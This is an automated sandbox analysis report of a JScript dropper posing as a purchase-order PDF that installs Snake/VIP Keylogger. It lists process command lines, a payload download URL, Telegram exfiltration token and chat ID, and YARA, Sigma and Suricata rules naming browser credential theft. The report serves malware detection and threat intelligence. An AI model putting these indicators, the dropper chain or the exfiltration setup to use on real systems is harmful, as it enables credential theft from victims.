Edit tour

Windows Analysis Report
PO-2513203-PDF.js

Overview

General Information

Sample name:	PO-2513203-PDF.js
Analysis ID:	1637032
MD5:	906b55eae679c02012dfa19c9df27e4b
SHA1:	1bdaf20e8504d85b1e72dd7ca29618cd8180fac0
SHA256:	e50337355671948435c054c46ff0ab2bc1acb920414842e34f1203c40ac7464b
Tags:	jsSnakeKeyloggeruser-lowmal3
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

JScript performs obfuscated calls to suspicious functions

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

JavaScript source code contains functionality to generate code involving a shell, file or stream

Potential obfuscated javascript found

Powershell drops PE file

Sample uses string decryption to hide its real strings

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SGDT)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7272 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-2513203-PDF.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7912 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\WTRTRWFSHS.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

x.exe (PID: 8060 cmdline: "C:\Users\user\AppData\Local\Temp\x.exe" MD5: FC2AA7BEED400468B816DB83CF00815D)

x.exe (PID: 2424 cmdline: "C:\Users\user\AppData\Local\Temp\x.exe" MD5: FC2AA7BEED400468B816DB83CF00815D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "Telegram", "Bot Token": "7692968455:AAFUd6DDUCm9bBSVBpp5I0Oudm0YDdn6C3o", "Chat id": "6163418482"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7692968455:AAFUd6DDUCm9bBSVBpp5I0Oudm0YDdn6C3o", "Chat_id": "6163418482", "Version": "4.4"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
dump.pcap	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x5235c:$a1: get_encryptedPassword 0x526cb:$a2: get_encryptedUsername 0x5216c:$a3: get_timePasswordChanged 0x52275:$a4: get_passwordField 0x52372:$a5: set_encryptedPassword 0x53c96:$a7: get_logins 0x53bf9:$a10: KeyLoggerEventArgs 0x53734:$a11: KeyLoggerEventArgsEventHandler

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.1437008178.0000000004409000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1e00a:$a1: get_encryptedPassword 0x1e333:$a2: get_encryptedUsername 0x1de1a:$a3: get_timePasswordChanged 0x1df23:$a4: get_passwordField 0x1e020:$a5: set_encryptedPassword 0x1f702:$a7: get_logins 0x1f665:$a10: KeyLoggerEventArgs 0x1f2ca:$a11: KeyLoggerEventArgsEventHandler
0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000B.00000002.2532782484.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d89a:$a1: get_encryptedPassword 0x2dbc3:$a2: get_encryptedUsername 0x2d6aa:$a3: get_timePasswordChanged 0x2d7b3:$a4: get_passwordField 0x2d8b0:$a5: set_encryptedPassword 0x2ef92:$a7: get_logins 0x2eef5:$a10: KeyLoggerEventArgs 0x2eb5a:$a11: KeyLoggerEventArgsEventHandler
0000000A.00000002.1435246368.0000000002C85000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1435246368.0000000002C85000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000002.1435246368.0000000002C85000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000A.00000002.1437008178.0000000004469000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e04a:$a1: get_encryptedPassword 0x7146a:$a1: get_encryptedPassword 0x2e373:$a2: get_encryptedUsername 0x71793:$a2: get_encryptedUsername 0x2de5a:$a3: get_timePasswordChanged 0x7127a:$a3: get_timePasswordChanged 0x2df63:$a4: get_passwordField 0x71383:$a4: get_passwordField 0x2e060:$a5: set_encryptedPassword 0x71480:$a5: set_encryptedPassword 0x2f742:$a7: get_logins 0x72b62:$a7: get_logins 0x2f6a5:$a10: KeyLoggerEventArgs 0x72ac5:$a10: KeyLoggerEventArgs 0x2f30a:$a11: KeyLoggerEventArgsEventHandler 0x7272a:$a11: KeyLoggerEventArgsEventHandler
0000000B.00000002.2538337454.0000000002CF9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 7912	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xaf52e:$b1: ::WriteAllBytes( 0x15ab05:$b1: ::WriteAllBytes( 0xaf54a:$b2: ::FromBase64String( 0x15ab21:$b2: ::FromBase64String( 0x8c61:$s1: -join 0x8c9c:$s1: -join 0x8d63:$s1: -join 0x8d91:$s1: -join 0x8f2a:$s1: -join 0x8f4d:$s1: -join 0x9200:$s1: -join 0x9221:$s1: -join 0x9253:$s1: -join 0x929b:$s1: -join 0x92c8:$s1: -join 0x92ef:$s1: -join 0x931a:$s1: -join 0x9336:$s1: -join 0x939f:$s1: -join 0x9838:$s1: -join 0x985a:$s1: -join
Process Memory Space: x.exe PID: 8060	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: x.exe PID: 8060	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: x.exe PID: 8060	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: x.exe PID: 8060	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3d78:$a1: get_encryptedPassword 0x26795:$a1: get_encryptedPassword 0x4097:$a2: get_encryptedUsername 0x26ab4:$a2: get_encryptedUsername 0x3b92:$a3: get_timePasswordChanged 0x265af:$a3: get_timePasswordChanged 0x3c9b:$a4: get_passwordField 0x266b8:$a4: get_passwordField 0x3d8e:$a5: set_encryptedPassword 0x267ab:$a5: set_encryptedPassword 0x6274:$a7: get_logins 0x28c91:$a7: get_logins 0x61d7:$a10: KeyLoggerEventArgs 0x28bf4:$a10: KeyLoggerEventArgs 0x5e40:$a11: KeyLoggerEventArgsEventHandler 0x2885d:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: x.exe PID: 2424	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: x.exe PID: 2424	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: x.exe PID: 2424	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: x.exe PID: 2424	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1f00f:$a1: get_encryptedPassword 0x1f32e:$a2: get_encryptedUsername 0x1ee29:$a3: get_timePasswordChanged 0x1ef32:$a4: get_passwordField 0x1f025:$a5: set_encryptedPassword 0x2150b:$a7: get_logins 0x2146e:$a10: KeyLoggerEventArgs 0x210d7:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: x.exe PID: 2424	MALWARE_Win_Phoenix	Phoenix/404KeyLogger keylogger payload	ditekSHen	0x1ea75:$s3: CRYPTPROTECT_ 0x1ea96:$s3: CRYPTPROTECT_ 0x1eab5:$s3: CRYPTPROTECT_ 0x1eaf3:$s3: CRYPTPROTECT_ 0x1eb13:$s3: CRYPTPROTECT_ 0x1eb31:$s3: CRYPTPROTECT_ 0x14edd:$m5: PSWD 0x15347:$m5: PSWD 0x24965:$m5: PSWD 0x25edb:$m5: PSWD 0x61797:$m5: PSWD 0x61a82:$m5: PSWD 0x23512:$m6: Screenshot \| 0x23537:$m6: Screenshot \| 0x23556:$m6: Screenshot \| 0x36ad7:$m7: Logs \|
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.x.exe.44695b0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.x.exe.44695b0.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.x.exe.44695b0.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.x.exe.44695b0.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2bc9a:$a1: get_encryptedPassword 0x2bfc3:$a2: get_encryptedUsername 0x2baaa:$a3: get_timePasswordChanged 0x2bbb3:$a4: get_passwordField 0x2bcb0:$a5: set_encryptedPassword 0x2d392:$a7: get_logins 0x2d2f5:$a10: KeyLoggerEventArgs 0x2cf5a:$a11: KeyLoggerEventArgsEventHandler
10.2.x.exe.44695b0.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39a41:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x390e4:$a3: \Google\Chrome\User Data\Default\Login Data 0x39341:$a4: \Orbitum\User Data\Default\Login Data 0x39d20:$a5: \Kometa\User Data\Default\Login Data
10.2.x.exe.44695b0.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c8ea:$s1: UnHook 0x2c8f1:$s2: SetHook 0x2c8f9:$s3: CallNextHook 0x2c906:$s4: _hook
11.2.x.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.x.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
11.2.x.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.x.exe.2c85409.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.x.exe.2c85409.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.x.exe.2c85409.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.x.exe.2c85409.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.x.exe.2c85409.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.x.exe.2c85409.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.x.exe.2c89c50.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.x.exe.2c89c50.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.x.exe.2c89c50.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.x.exe.2c89c50.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.x.exe.2c89c50.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.x.exe.2c89c50.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
11.2.x.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2da9a:$a1: get_encryptedPassword 0x2ddc3:$a2: get_encryptedUsername 0x2d8aa:$a3: get_timePasswordChanged 0x2d9b3:$a4: get_passwordField 0x2dab0:$a5: set_encryptedPassword 0x2f192:$a7: get_logins 0x2f0f5:$a10: KeyLoggerEventArgs 0x2ed5a:$a11: KeyLoggerEventArgsEventHandler
10.2.x.exe.2c89c50.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1131e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x109c1:$a3: \Google\Chrome\User Data\Default\Login Data 0x10c1e:$a4: \Orbitum\User Data\Default\Login Data 0x115fd:$a5: \Kometa\User Data\Default\Login Data
10.2.x.exe.2c85409.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x17965:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x17008:$a3: \Google\Chrome\User Data\Default\Login Data 0x17265:$a4: \Orbitum\User Data\Default\Login Data 0x17c44:$a5: \Kometa\User Data\Default\Login Data
10.2.x.exe.2c85409.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x15b65:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x15208:$a3: \Google\Chrome\User Data\Default\Login Data 0x15465:$a4: \Orbitum\User Data\Default\Login Data 0x15e44:$a5: \Kometa\User Data\Default\Login Data
10.2.x.exe.2c89c50.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1311e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x127c1:$a3: \Google\Chrome\User Data\Default\Login Data 0x12a1e:$a4: \Orbitum\User Data\Default\Login Data 0x133fd:$a5: \Kometa\User Data\Default\Login Data
11.2.x.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b841:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3aee4:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b141:$a4: \Orbitum\User Data\Default\Login Data 0x3bb20:$a5: \Kometa\User Data\Default\Login Data
11.2.x.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e6ea:$s1: UnHook 0x2e6f1:$s2: SetHook 0x2e6f9:$s3: CallNextHook 0x2e706:$s4: _hook
10.2.x.exe.44695b0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.x.exe.44695b0.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
10.2.x.exe.44695b0.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
10.2.x.exe.44695b0.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2da9a:$a1: get_encryptedPassword 0x70eba:$a1: get_encryptedPassword 0x2ddc3:$a2: get_encryptedUsername 0x711e3:$a2: get_encryptedUsername 0x2d8aa:$a3: get_timePasswordChanged 0x70cca:$a3: get_timePasswordChanged 0x2d9b3:$a4: get_passwordField 0x70dd3:$a4: get_passwordField 0x2dab0:$a5: set_encryptedPassword 0x70ed0:$a5: set_encryptedPassword 0x2f192:$a7: get_logins 0x725b2:$a7: get_logins 0x2f0f5:$a10: KeyLoggerEventArgs 0x72515:$a10: KeyLoggerEventArgs 0x2ed5a:$a11: KeyLoggerEventArgsEventHandler 0x7217a:$a11: KeyLoggerEventArgsEventHandler
10.2.x.exe.44695b0.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b841:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7ec61:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3aee4:$a3: \Google\Chrome\User Data\Default\Login Data 0x7e304:$a3: \Google\Chrome\User Data\Default\Login Data 0x3b141:$a4: \Orbitum\User Data\Default\Login Data 0x7e561:$a4: \Orbitum\User Data\Default\Login Data 0x3bb20:$a5: \Kometa\User Data\Default\Login Data 0x7ef40:$a5: \Kometa\User Data\Default\Login Data
10.2.x.exe.44695b0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e6ea:$s1: UnHook 0x71b0a:$s1: UnHook 0x2e6f1:$s2: SetHook 0x71b11:$s2: SetHook 0x2e6f9:$s3: CallNextHook 0x71b19:$s3: CallNextHook 0x2e706:$s4: _hook 0x71b26:$s4: _hook
Click to see the 29 entries

Sigma Signatures

System Summary

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 176.65.144.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7272, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49717

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-2513203-PDF.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-2513203-PDF.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-2513203-PDF.js", ProcessId: 7272, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 176.65.144.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7272, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49717

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-2513203-PDF.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-2513203-PDF.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-2513203-PDF.js", ProcessId: 7272, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\WTRTRWFSHS.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\WTRTRWFSHS.ps1", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-2513203-PDF.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7272, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\WTRTRWFSHS.ps1", ProcessId: 7912, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Windows executable base64 encoded

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T10:21:58.364550+0100	2018856	1	A Network Trojan was detected	176.65.144.3	80	192.168.2.4	49717	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T10:22:10.588743+0100	2803305	3	Unknown Traffic	192.168.2.4	49727	104.21.112.1	443	TCP
2025-03-13T10:22:13.480604+0100	2803305	3	Unknown Traffic	192.168.2.4	49729	104.21.112.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T10:22:05.613647+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49725	132.226.247.73	80	TCP
2025-03-13T10:22:08.301188+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49725	132.226.247.73	80	TCP
2025-03-13T10:22:11.332437+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49728	132.226.247.73	80	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T10:22:34.700827+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49742	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://176.65.144.3/dev/believe.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen
Source: C:\Users\user\AppData\Local\Temp\RUNPEE.dll	Avira: detection malicious, Label: HEUR/AGEN.1300034

Found malware configuration

Source: 0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "Telegram", "Bot Token": "7692968455:AAFUd6DDUCm9bBSVBpp5I0Oudm0YDdn6C3o", "Chat id": "6163418482"}
Source: 0000000B.00000002.2538337454.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7692968455:AAFUd6DDUCm9bBSVBpp5I0Oudm0YDdn6C3o", "Chat_id": "6163418482", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: PO-2513203-PDF.js	Virustotal: Detection: 17%			Perma Link
Source: PO-2513203-PDF.js	ReversingLabs: Detection: 18%

Sample uses string decryption to hide its real strings

Source: 10.2.x.exe.44695b0.3.unpack	String decryptor: 7692968455:AAFUd6DDUCm9bBSVBpp5I0Oudm0YDdn6C3o
Source: 10.2.x.exe.44695b0.3.unpack	String decryptor: 6163418482
Source: 10.2.x.exe.44695b0.3.unpack	String decryptor:

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: unknown

HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49726 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49742 version: TLS 1.2

Source:	Binary string: CZG3HF22.pdbH source: x.exe, 0000000A.00000000.1404811393.0000000000842000.00000002.00000001.01000000.00000008.sdmp, x.exe.8.dr
Source:	Binary string: CZG3HF22.pdb source: x.exe, 0000000A.00000000.1404811393.0000000000842000.00000002.00000001.01000000.00000008.sdmp, x.exe.8.dr

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: PO-2513203-PDF.js	Return value : ['WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', 'CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,W', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,WScript.Shell,64ceoRBl,w1bJW5']	Go to definition
Source: PO-2513203-PDF.js	Return value : ['WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute Pow', 'CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,W', 'WRfjWRCjbZDdCghdOmoxWQhdSa,C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8', 'WQZcRmkrv8ora8k+W4fbAW0,Failed to execute PowerShell script: ,WRWltamX,WScript.Shell,64ceoRBl,w1bJW5', 'C:\\Temp,WR0Ngd/cSCoDWP5WW7FdOuf+DW,CreateTextFile,CreateFolder,WQZcRmkrv8ora8k+W4fbAW0,Failed to exe']	Go to definition
